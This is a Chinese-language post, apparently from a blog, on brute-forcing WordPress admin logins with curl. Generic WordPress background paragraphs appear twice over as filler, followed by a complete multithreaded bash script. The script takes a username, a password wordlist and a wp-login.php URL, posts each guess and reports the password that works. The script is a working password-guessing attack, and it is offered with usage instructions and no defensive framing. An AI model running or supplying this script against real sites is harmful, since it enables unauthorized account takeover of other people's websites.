使用curl对WordPress后台密码进行字典破解

WordPress是使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设属于自己的网站。也可以把WordPress当作一个内容管理系统（CMS）来使用。

WordPress是一款个人博客系统，并逐步演化成一款内容管理系统软件，它是使用PHP语言和MySQL数据库开发的,用户可以在支持 PHP 和 MySQL数据库的服务器上使用自己的博客。

WordPress有许多第三方开发的免费模板，安装方式简单易用。不过要做一个自己的模板，则需要你有一定的专业知识。比如你至少要懂的标准通用标记语言下的一个应用HTML代码、CSS、PHP等相关知识。

WordPress官方支持中文版，同时有爱好者开发的第三方中文语言包，如wopus中文语言包。WordPress拥有成千上万个各式插件和不计其数的主题模板样式。

WordPress是使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设属于自己的网站。也可以把 WordPress当作一个内容管理系统（CMS）来使用。

WordPress是一款个人博客系统，并逐步演化成一款内容管理系统软件，它是使用PHP语言和MySQL数据库开发的,用户可以在支持 PHP 和 MySQL数据库的服务器上使用自己的博客。

WordPress有许多第三方开发的免费模板，安装方式简单易用。不过要做一个自己的模板，则需要你有一定的专业知识。比如你至少要懂的标准通用标记语言下的一个应用HTML代码、CSS、PHP等相关知识。

WordPress官方支持中文版，同时有爱好者开发的第三方中文语言包，如wopus中文语言包。WordPress拥有成千上万个各式插件和不计其数的主题模板样式。

WordPress后台密码进行字典破解

请先确认机器已安装curl

#!/bin/bash
#使用方式：./wp-pwd.sh 用户名 字典 登录页面 线程数
#例如: ./wp-pwd.sh wpssh 1.txt http://xxx.xxx/wp-login.php 15
user=$1
dic=$2
url=$3
thread=$4
function guess {
    curl -s -d "log=$user&pwd=$1" $url >> $1.html
    l=$(wc -l $1.html| awk -F[:" "]+ '{print $1}')
    if [ 0 -eq $l ]; then
        echo $1 >> pwd.txt
        rm $1.html
        return 1
    else
        rm $1.html
        return 0
    fi
}
if [ -e pwd.txt ]; then
    rm pwd.txt
fi
tmp_fifofile="/tmp/$$.fifo"
mkfifo $tmp_fifofile
exec 6<>$tmp_fifofile
rm $tmp_fifofile
for ((i=0;i<$thread;i++));
do
    echo
done >&6
while read line;do
    if [ -e pwd.txt ]; then
        break
    fi
    read -u6
    {
        echo "Testing "$line
        guess $line
        echo >&6
    } &
done < $dic
wait
exec 6>&-
if [ -e pwd.txt ]; then
    echo "Password is "
    cat pwd.txt
    rm pwd.txt
else
    echo "Not Found"
fi
exit 0